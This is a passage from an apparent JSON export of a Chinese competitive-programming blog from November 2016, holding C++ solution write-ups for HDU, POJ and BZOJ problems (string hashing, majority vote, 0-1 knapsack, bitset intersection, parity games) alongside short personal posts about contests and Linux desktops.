+sscanf读入技巧)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给你一部魔咒词典。当哈利听到一个魔咒时，你的程序必须告诉他那个魔咒的功能；当哈利需要某个功能但不知道该用什么魔咒时，你的程序要替他找到相应的魔咒。如果他要的魔咒不在词典中，就输出“what?” 思路：hash裸题。。。然而怎么感觉是第一次写hash呢。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月20日 星期日 10时27分05秒 4File Name :code/hdu/1880.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34char magic[N][25],fun[N][81]; 35int cnt; 36int n; 37map\u003cint,int\u003emp1,mp2; 38unsigned int BKDRHash(char *str) 39{ 40 unsigned int seed = 131; 41 unsigned int hash = 0 ; 42 while (*str) hash = hash*seed+(*str++); 43 return (hash\u00260x7fffffff); 44} 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 freopen(\"code/in.txt\",\"r\",stdin); 49 #endif 50 cnt = 1 ; 51 while (~scanf(\"%s\",magic[cnt])) 52 { 53 if (strcmp(magic[cnt],\"@END@\")==0) break; 54 getchar(); 55 gets(fun[cnt]); 56 cnt++; 57 } 58 cnt--; 59 for ( int i = 1; i \u003c= cnt ; i++) 60 { 61 mp1[BKDRHash(magic[i])] = i ; 62 mp2[BKDRHash(fun[i])] = i; 63 } 64 scanf(\"%d\",\u0026n); 65 getchar(); 66 char tmp[85]; 67 while (n--) 68 { 69 gets(tmp); 70 if (tmp[0]=='[') 71 { 72 73 if (!mp1[BKDRHash(tmp)]) 74 { 75 puts(\"what?\"); 76 } 77 else 78 { 79 int id = mp1[BKDRHash(tmp)]; 80 printf(\"%s\",fun[id]); 81 printf(\"\\n\"); 8","date":"2016-11-20","externalUrl":null,"permalink":"/2016/11/hdu-1880--hash/","section":"Posts","summary":"题目链接 题意：给你一部魔咒词典。当哈利听到一个魔咒时，你的程序必须告诉他那个魔咒的功能；当哈利需要某个功能但不知道该用什么魔咒时，你的程序要替他找到相应的魔咒。如果他要的魔咒不在词典中，就输出“what?”","tags":["hash"],"title":"hdu 1880 魔咒词典 (字符串hash)","type":"post"},{"categories":["ACM"],"content":"2456: mode # Time Limit: 1 Sec Memory Limit: 1 MB Submit: 3887 Solved: 1636 [Submit][Status][Discuss] Description # 给你一个n个数的数列，其中某个数出现了超过n div 2次即众数，请你找出那个数。 Input # 第1行一个正整数n。 第2行n个正整数用空格隔开。 Output # 一行一个正整数表示那个众数。 Sample Input # 5 3 2 3 1 3 Sample Output # 3 HINT # 100%的数据，n\u003c=500000，数列中每个数\u003c=maxlongint。 zju2132 The Most Frequent Number 思路：一开始没注意空间限制…不过为毛是TLE。。。以至于最后什么都不干也TLE，我才意识到问题并没有辣么简单。。。 感觉这道题好神奇。 用到了抵消的思想，对于众数来说，不是众数的数是“非我族类其心必异” 因为众数出现大于n/2次，所以最后剩下的数一定是众数。 具体见代码。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月18日 星期五 21时52分27秒 4File Name :code/bzoj/2456.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7int n; 8int main() 9{ 10 scanf(\"%d\",\u0026n); 11 int cnt = 0 ; 12 int val; 13 int x; 14 for ( int i = 1 ;i \u003c= n ; i++){ 15 scanf(\"%d\",\u0026x); 16 if (cnt==0) 17 { 18 cnt++; 19 val = x; 20 continue; 21 } 22 if (x==val) cnt++; else cnt--; 23 } 24 printf(\"%d\\n\",val); 25 return 0; 26}","date":"2016-11-20","externalUrl":null,"permalink":"/2016/11/bzoj-2456-mode-o1n2/","section":"Posts","summary":"2456: mode # Time Limit: 1 Sec Memory Limit: 1 MB Submit: 3887 Solved: 1636 [Submit][Status][Discuss]","tags":["math"],"title":"bzoj 2456: mode (O(1)找到出现次数大于n/2的数)","type":"post"},{"categories":[],"content":"比赛链接 题外话： wannafly union:可能有的学校不能很好得传承……可能某一时间可以进过两三次final ……但是final队过后，这个学校就退出了历史的舞台…… 说实话我依然记得我入学那年，也就是14年，看到了华科又一次进final，然后15年仿佛已经开始走下坡路，到了16年，icpc连快银都没有….见证了hust的衰落，我的内心是格外凄凉的。 而又不仅仅是见证…内心是有些愧疚的….总觉得自己没能把某些传统传承下去。。。。 曾经我以为学校的荣誉轮不到我去争取，毕竟我实力很弱，高中noip虽然有全省第二…但是大弱省….其实我当年只有275分… 14级的一队…pyy+zk+tm，三个人都是初一就开始参加比赛了….而且湖南+广东+安徽…. 其他人，也至少比我发展均衡…. 所以之前想着…弱鸡如我好好提高学校的下限就好了…. 但是现在发现并不是那么一回事… 其实每个人…都是和学校相关的…. 即使最后轮不到我…但是应该仍然有这个想法才对吧…. 好了正题： 这次比赛只做出了三道题，A题之前遇到过，当时不会，忘记补了。目测E题也可以补，不过明天约了妹子自习估计要早睡，所以考完试再说吧。 A： 题意：有一个3*n的maze，一个人初始在最左边的某个格子里（3个中的一个，用s表示），然后有若干由大写字母组成的火车… 每一次运动中：人先向右移动一个格子，然后选择不动，或者向上或者向下（具体取决于现在处在3行中的哪一行），之后每列火车向左移动2个格子。如果某个时刻人和火车位于同一个格子，那么人就狗带了。人的获胜条件是到达最右边。 思路：比赛的时候脑抽。。。竟然觉得是指数模型。。。。然后就觉得想错了orz 这道题可以考虑物理的相对运动，我们可以认为火车是不动的，而人时先向右一个格子，然后换行（或者不换）,然后再向右两个 这样直接bfs搞一下就好咯。。。。果然是水题。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月19日 星期六 18时56分06秒 4File Name :code/wfly/#1/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E3+15; 34int n,k; 35char maze[4][N]; 36struct node 37{ 38 int x,y; 39 void out() 40 { 41 printf(\"x:%d y : %d\\n\",x,y); 42 } 43}s; 44int a[3][N]; 45bool vis[3][N]; 46bool ok; 47void bfs() 48{ 49 ms(vis,fal","date":"2016-11-19","externalUrl":null,"permalink":"/2016/11/mutual-training-for-wannafly-union-1/","section":"Posts","summary":"比赛链接 题外话： wannafly union:可能有的学校不能很好得传承……可能某一时间可以进过两三次final ……但是final队过后，这个学校就退出了历史的舞台……","tags":["算法竞赛"],"title":"Mutual Training for Wannafly Union #1","type":"post"},{"categories":["随笔杂谈"],"content":"我的问题。。。大概在于。。。 太容易中途弃疗。。以及。。。没有成为队伍carry的觉悟。。。或者说信心。。。","date":"2016-11-19","externalUrl":null,"permalink":"/2016/11/Reflection/","section":"Posts","summary":"我的问题。。。大概在于。。。 太容易中途弃疗。。以及。。。没有成为队伍carry的觉悟。。。或者说信心。。。","tags":["算法竞赛"],"title":"反思","type":"post"},{"categories":["ACM"],"content":"1968: [Ahoi2005]COMMON 约数研究 # Time Limit: 1 Sec Memory Limit: 64 MB Submit: 1997 Solved: 1508 [Submit][Status][Discuss] Description # Input # 只有一行一个整数 N（0 \u003c N \u003c 1000000）。 Output # 只有一行输出，为整数M，即f(1)到f(N)的累加和。 Sample Input # 3 Sample Output # 5 HINT # Source # Day2 思路：如果跟着题目的意思走。。。求每个数的约束个数。。。复杂度是不资瓷的。。。 然而因为是求和，我们可以直接考虑，每个因子对答案的贡献。 容易知道，因子x对答案的贡献为n/x x的范围为1..n 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月18日 星期五 21时46分37秒 4File Name :code/bzoj/1968.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36 freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 LL n,ans=0; 39 cin\u003e\u003en; 40 for ( LL i = 1 ; i \u003c= n ; i++) ans = ans + n/i; 41 cout\u003c\u003cans\u003c\u003cendl; 42 43 #ifndef ONLINE_JUDGE 44 fclose(stdin); 45 #endif 46 return 0; 47}","date":"2016-11-18","externalUrl":null,"permalink":"/2016/11/bzoj-1968-ahoi2005common--/","section":"Posts","summary":"1968: [Ahoi2005]COMMON 约数研究 # Time Limit: 1 Sec Memory Limit: 64 MB Submit: 1997 Solved: 1508 [Submit][Status][Discuss]","tags":["math","思维"],"title":"bzoj 1968: [Ahoi2005]COMMON 约数研究 (思维题)","type":"post"},{"categories":["ACM"],"content":"2463: [中山市选2009]谁能赢呢？ # Time Limit: 10 Sec Memory Limit: 128 MB Submit: 1826 Solved: 1347 [Submit][Status][Discuss] Description # 小明和小红经常玩一个博弈游戏。给定一个n×n的棋盘，一个石头被放在棋盘的左上角。他们轮流移动石头。每一回合，选手只能把石头向上，下，左，右四个方向移动一格，并且要求移动到的格子之前不能被访问过。谁不能移动石头了就算输。假如小明先移动石头，而且两个选手都以最优策略走步，问最后谁能赢？ Input # 输入文件有多组数据。 输入第一行包含一个整数n，表示棋盘的规模。 当输入n为0时，表示输入结束。 Output # 对于每组数据，如果小明最后能赢，则输出”Alice”, 否则输出”Bob”, 每一组答案独占一行。 Sample Input # 2 0 Sample Output # Alice HINT # 对于所有的数据，保证1\u003c=n\u003c=10000。 思路：手写了下几组猜是奇偶性..写了下就过了。 证明： 首先对于n是偶数，一定能被1*2的骨牌覆盖！所以从起点开始，先手一定走的是骨牌的另一端，后手一定走的是骨牌的前一端，因此无论何时，先手总是可以走。因此先手必胜。 如果n是奇数，那么去掉一格后一定能被1*2的骨牌覆盖，但是先手从左上角走，就进入了这个S态（必胜态），那么和上边的分析一样了，因此先手必败。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月18日 星期五 21时28分43秒 4File Name :code/bzoj/2463.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int main() 34{ 35 #ifndef ONLINE_JUDGE 36 freopen(\"code/in.txt\",\"r\",stdin); 37 #endif 38 int n; 39 while (~scanf(\"%d\",\u0026n)\u0026\u0026n) 40 { 41 if (n%2==1) puts(\"Bob\"); 42 else puts(\"Alice\"); 43 } 44 45 #ifndef ONLINE_JUDGE 46 fclose(stdin); 47 #endif 48 return 0; 49} .","date":"2016-11-18","externalUrl":null,"permalink":"/2016/11/bzoj-2463-2009-/","section":"Posts","summary":"2463: [中山市选2009]谁能赢呢？ # Time Limit: 10 Sec Memory Limit: 128 MB Submit: 1826 Solved: 1347 [Submit][Status][Discuss]","tags":["博弈论"],"title":"bzoj 2463: [中山市选2009]谁能赢呢？ (博弈论)","type":"post"},{"categories":["ACM"],"content":"上编译原理课 写题…被老师干了QAQ 还好他的提问我没回答错Orz，不然更惨 吓傻了2333","date":"2016-11-18","externalUrl":null,"permalink":"/2016/11/sigh/","section":"Posts","summary":"上编译原理课 写题…被老师干了QAQ 还好他的提问我没回答错Orz，不然更惨","tags":["算法竞赛"],"title":"sigh","type":"post"},{"categories":["随笔杂谈"],"content":"这样下去迟早抑郁….","date":"2016-11-17","externalUrl":null,"permalink":"/2016/11/depression/","section":"Posts","summary":"这样下去迟早抑郁….","tags":["算法竞赛"],"title":"。。。。。。。。","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # For every pair of triplets, Ta = (Ia, Ja, Ka) and T__b = (Ib, Jb, Kb), we define the difference value between Ta and_T__b_ as follows: D(Ta,_ Tb_) = max {Ia − Ib, Ja − Jb, Ka − Kb} − min {Ia − Ib, Ja − Jb, Ka − Kb} Now you are given N triplets, could you write a program to calculate the sum of the difference values between every unordered pair of triplets? 思路：转化要求的式子，如果把_Ia_ − Ib, Ja − Jb, Ka − Kb 看成数轴上的点，所求的式子就变成了求三个点构成的线段的距离。 # **设X=Ia − Ib,Y=Ja − Jb,Z=Ka − Kb,那么该距离D = （|X-Y| + |Y-Z| + |Z-X| ）/2（该式子是此题最关键的一部，可以通过画图直观得到） ** # D=|(ia-ja)-(ib-jb)| + |(ja-ka)-(jb-kb)| + | (ka-za)+(kb-zb) | # 设a = ia-ja,b =ja-ka,c = ka-ia，然后分别排序类似于bzoj1604_拆点求曼哈顿距离 # 考虑第i个a,对于其他的n-1个a，有i-1个比它小，n-i个比它大，因此对答案的贡献为(i-1)个a[i]和 (n-i)个-a[i] # b,c同理。 # 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月17日 星期四 20时05分54秒 4File Name :code/hdu/3244.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32int n; 33int x,y,z; 34int a[N],b[N],c[N]; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 while (~scanf(\"%d\",\u0026n)) 41 { 42 if (n==0) break; 43 for ( int i = 1; i \u003c= n ; i++) 44 { 45 scanf(\"%d%d%d\",\u0026x,\u0026y,\u0026z); ","date":"2016-11-17","externalUrl":null,"permalink":"/2016/11/poj-3244/","section":"Posts","summary":"题目链接 题意： # For every pair of triplets, Ta = (Ia, Ja, Ka) and T__b = (Ib, Jb, Kb), we define the difference value between Ta and_T__b_ as follows:","tags":["math"],"title":"【叉姐的魔法训练第一课_初级魔法练习】poj 3244 Difference between Triplets （数学）","type":"post"},{"categories":["ACM"],"content":"poj 2443题目链接 题意：给出n个可重集…以及集合中的元素。。。现在若干查询，每个查询给出一对数x,y，询问是否存在某个集合，同时拥有x,y两个元素（x,y可以相同） 思路：由于x,y最大时10000，容易想到对每一个元素开一个集合，记录这个元素出现的集合的标号，然后用 set_intersection 来做… 就是询问的时候交一下两个集合，看是否为空，结果Tle了。。。 正解其实也是这个思路，不过用到了bitset加速一下。因为我求集合相交的时候，并不需要知道交了以后的结果，只需要知道是否为空，那么我们不妨用bitset 对每个元素开一个bitset,每个bitset上，第i位为1表示，该元素在第i个集中中出现了。 求相交的时候，只需要两个bitset 位与一下，然后看结果中是否有1出现就好了。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月17日 星期四 09时31分16秒 4File Name :code/poj/2442.cpp 5 ************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#include \u003cbitset\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1E4+7; 33int n; 34set\u003cint\u003ese[N]; 35bitset\u003c1005\u003ebse[N],tmp; 36set\u003cint\u003emyset; 37int main() 38{ 39#ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41#endif 42 scanf(\"%d\",\u0026n); 43 for ( int i =1 ; i \u003c= n ; i++) 44 { 45 int c; 46 scanf(\"%d\",\u0026c); 47 myset.clear(); 48 while (c--) 49 { 50 int x; 51 scanf(\"%d\",\u0026x); 52 bse[x].set(i); 53 } 54 } 55 int q; 56 scanf(\"%d\",\u0026q); 57 while (q--) 58 { 59 int x,y; 60 scanf(\"%d%d\",\u0026x,\u0026y); 61 tmp = bse[x]\u0026bse[y]; 62 if (tmp.any()) puts(\"Yes\"); 63 else puts(\"No\"); 64 } 65#ifndef ONLINE_JUDGE 66 fclose(stdin); 67#endif 68 return 0; 69}","date":"2016-11-17","externalUrl":null,"permalink":"/2016/11/poj2443/","section":"Posts","summary":"poj 2443题目链接 题意：给出n个可重集…以及集合中的元素。。。现在若干查询，每个查询给出一对数x,y，询问是否存在某个集合，同时拥有x,y两个元素（x,y可以相同）","tags":["bitset优化"],"title":"【叉姐的魔法训练第一课_初级魔法练习】poj 2443 Set Operation ( bitset加速)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意:容量为V的背包，n个骨头，给出价值和体积，问最多能装多少价值的背包。 思路：01背包裸体。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月16日 星期三 15时14分36秒 4File Name :code/hdu/2602.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int dp[N],value[N],cost[N]; 35int n,V; 36void solve(int v,int c) 37{ 38 for ( int i = V; i \u003e= c; i --) 39 dp[i] = max(dp[i],dp[i-c]+v); 40} 41int main() 42{ 43 #ifndef ONLINE_JUDGE 44 freopen(\"code/in.txt\",\"r\",stdin); 45 #endif 46 int T; 47 cin\u003e\u003eT; 48 while (T--) 49 { 50 scanf(\"%d%d\",\u0026n,\u0026V); 51 ms(dp,0); 52 for ( int i = 1 ;i \u003c= n ; i++) scanf(\"%d\",\u0026value[i]); 53 for ( int i = 1; i \u003c= n ; i++) scanf(\"%d\",\u0026cost[i]); 54 for ( int i = 1 ; i \u003c= n ; i++) solve(value[i],cost[i]); 55 int ans = 0 ; 56 57 for ( int i = 0 ; i \u003c= V ; i++) ans = max(ans,dp[i]); 58 printf(\"%d\\n\",ans); 59 } 60 61 #ifndef ONLINE_JUDGE 62 fclose(stdin); 63 #endif 64 return 0; 65}","date":"2016-11-16","externalUrl":null,"permalink":"/2016/11/hdu2602/","section":"Posts","summary":"题目链接 题意:容量为V的背包，n个骨头，给出价值和体积，问最多能装多少价值的背包。","tags":["01背包","dp"],"title":"(dp专题006)hdu 2602 Bone Collector（01背包）","type":"post"},{"categories":["ACM"],"content":"hdu1864题目链接 题意：中文题目，不多说了。 思路：正解是01背包，呵呵呵。 出题人是傻逼吗？ 不给数据范围？ 以及，正解的01背包基于所有的发票额度的只有2位小数。这是让人猜？ 本来看到这题这么恶心时不打算写的… 写了的原因纯粹是为了吐槽傻逼出题人.. 简直是我做得最垃圾的题目之一。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年11月16日 星期三 14时13分28秒 4File Name :code/hdu/1864.cpp 5 ************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=3E6+7; 34double P; 35int n; 36int dp[N], value[35]; 37 38void solve( int value,int cost ) 39{ 40 for ( int i = int(P) ; i \u003e= cost ; i--) 41 dp[i] = max(dp[i],dp[i-cost]+value); 42} 43int main() 44{ 45#ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47#endif 48 49 while (~scanf(\"%lf%d\",\u0026P,\u0026n)){ 50// puts(\"miao?\"); 51 if (n==0) break; 52 P*=100; 53 ms(dp,0); 54 int cnt = 0 ; 55 for ( int i = 1 ; i \u003c= n ; i++){ 56 int m; 57 scanf(\"%d\",\u0026m); 58 double tmp; 59 double sum = 0 ; 60 double sa=0,sb=0,sc=0; 61 char no; 62 bool die = false; 63 while (m--){ 64 scanf(\" %c:%lf\",\u0026no,\u0026tmp); 65 if (no=='A'\u0026\u0026sa+tmp\u003c=600) sa += tmp; 66 else if (no=='B'\u0026\u0026sb+tmp\u003c=600) sb += tmp; 67 else if (no=='C'\u0026\u0026sc+tmp\u003c=600) sc += tmp; 68 else die = true; 69 sum = sum + tmp; 70 if (sum\u003e1000) die = true; 71 } 72 sum*=100; 73 if (!die) value[++cnt] = sum; 74 } 75 76 ","date":"2016-11-16","externalUrl":null,"permalink":"/2016/11/hdu1864/","section":"Posts","summary":"hdu1864题目链接 题意：中文题目，不多说了。 思路：正解是01背包，呵呵呵。 出题人是傻逼吗？","tags":["01背包","dp"],"title":"[dp专题005]hdu 1864最大报销额（01背包，垃圾题）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： 给出n个银行 ，以及抢劫每个银行可以得到的价值和被抓的概率，不同银行之间被抓的概率是相互独立的，现在给出安全概率p，只有当概率从小于安全概率时才是安全的，问最多能抢劫多少价值。 思路：一开始很直接就想到把概率算成容量， 于是就成了经典的01背包，然后发现概率是double型。。。想当然得以为最多是2位小数，于是都*100转化成了整数做01背包。 然而正确思路是，把银行价值看成背包容量，而背包价值是概率！ 将危险的概率转化成安全概率（1-危险概率=安全概率) 然后做01背包。 然后从大到小扫一遍价值，第一个大于安全概率的就是答案。 注意精度。 1/* *********************************************** 2Author :111qqz 3Created Time :Tue 15 Nov 2016 06:53:53 PM CST 4File Name :code/hdu/2955.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cstack\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cdeque\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=105; 34double dp[N]; 35double p; 36int n,V; 37int value[N]; 38double cost[N]; 39void solve(double Cost,int Value) 40{ 41 for ( int i = V ; i \u003e= Value ; i--) 42 dp[i] = max(dp[i],dp[i-Value]*Cost); 43} 44int dblcmp( double d) 45{ 46 return d\u003c-eps?-1:d\u003eeps; 47} 48int main() 49{ 50 #ifndef ONLINE_JUDGE 51 freopen(\"code/in.txt\",\"r\",stdin); 52 #endif 53 int T; 54 cin\u003e\u003eT; 55 while (T--) 56 { 57 58 59 scanf(\"%lf%d\",\u0026p,\u0026n); 60 p = 1 - p; 61 V = 0 ; 62 for ( int i = 1; i \u003c= n ; i++) 63 { 64 scanf(\"%d%lf\",\u0026value[i],\u0026cost[i]); 65 cost[i] = 1 - cost[i]; 66 V = V + value[i]; 67 } 68 for ( int i = 0 ; i \u003c= V ; i++) dp[i] = 0; 69 for ( int i = 1 ; i \u003c= n ; i++) 70 solve(cost[i],value[","date":"2016-11-15","externalUrl":null,"permalink":"/2016/11/hdu2955/","section":"Posts","summary":"题目链接 题意： 给出n个银行 ，以及抢劫每个银行可以得到的价值和被抓的概率，不同银行之间被抓的概率是相互独立的，现在给出安全概率p，只有当概率从小于安全概率时才是安全的，问最多能抢劫多少价值。","tags":["01背包","dp"],"title":"(dp专题004)hdu 2955Robberies（01背包变形）","type":"post"},{"categories":["随笔杂谈"],"content":"前几天忘记什么原因，把gnome的什么东西搞坏了，干脆就换了kde. 然后发现kde太多细节，而且换了kde之后，关机键是失灵的…..我也不知道为什么，总之是各种难用。 本打算就换回gnome好了。。不过想起gnome下的那个（kde下也有）不定时键盘卡死，以至于出现了好几次代码写到一半，没法保存的情况….. 于是想了想… ubuntu反人类还是算了…. mint可以应该可以（如果驱动没问题…）不过我印象里mint的内核才3+…? 好菜啊。。。。 其实另一台本上的fedora22用起来没啥问题….无奈2016款的x1c无法安装… 于是想到了deepin… 看了下评价还不错…而且我也快过了爱折腾的年龄了。。。开箱即用也蛮好的。。。。省心。 于是官网下载镜像。。。用官方工具制作启动盘。 制作成功。。。。然而…卡死在引导界面。。。（表现为光标一直闪烁） 。。。。官方的工具都这么不靠谱？ 那我换个U盘。。。。还是不行。。。 那好。。我换个引导工具试试吧。。。 换了poweriso,ultraiso,win32 disk image，还有一个不记得名字了，还有linux下的dd命令… 全都会出现一样的问题呵呵呵。 然后看到官网还有一种【体验安装】的方式… 大概就是加了一层东西…可以不分区而是在原有的分区里运行一个新的系统之类的技术….? 然后依然不行2333。卡死在启动界面。 去论坛反馈几个小时过去了，还没审核通过，呵呵呵 辣鸡deepin","date":"2016-11-14","externalUrl":null,"permalink":"/2016/11/deepin-is-so-poor/","section":"Posts","summary":"前几天忘记什么原因，把gnome的什么东西搞坏了，干脆就换了kde.","tags":["算法竞赛"],"title":"对deepin失望至极","type":"post"},{"categories":["随笔杂谈"],"content":"kde好难用啊…. 换回了gnome.","date":"2016-11-14","externalUrl":null,"permalink":"/2016/11/kde/","section":"Posts","summary":"kde好难用啊…. 换回了gnome.","tags":["算法竞赛"],"title":"辣鸡kde","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n(n\u003c=1E3)个字符，字符可能为’D’,‘I’,’?’，第i位对应的字符分别表示，第i位大于第i+1位，第i位小于第i+1位，或者不确定。 现在问满足该字符串的 1..n的排列的方案数。结果9+7 思路：没有太多思路，参考了题解 主要是状态表示没有想到，后面的状态转移方程倒是不难。 思路是，dp[i][j]表示长度为i，最后一位的相对大小为j的方案数。 考虑转移：如果第i-1个位置的字符为‘I’，那么所有比j小的都可以转移到j，也就是dp[i][j] = 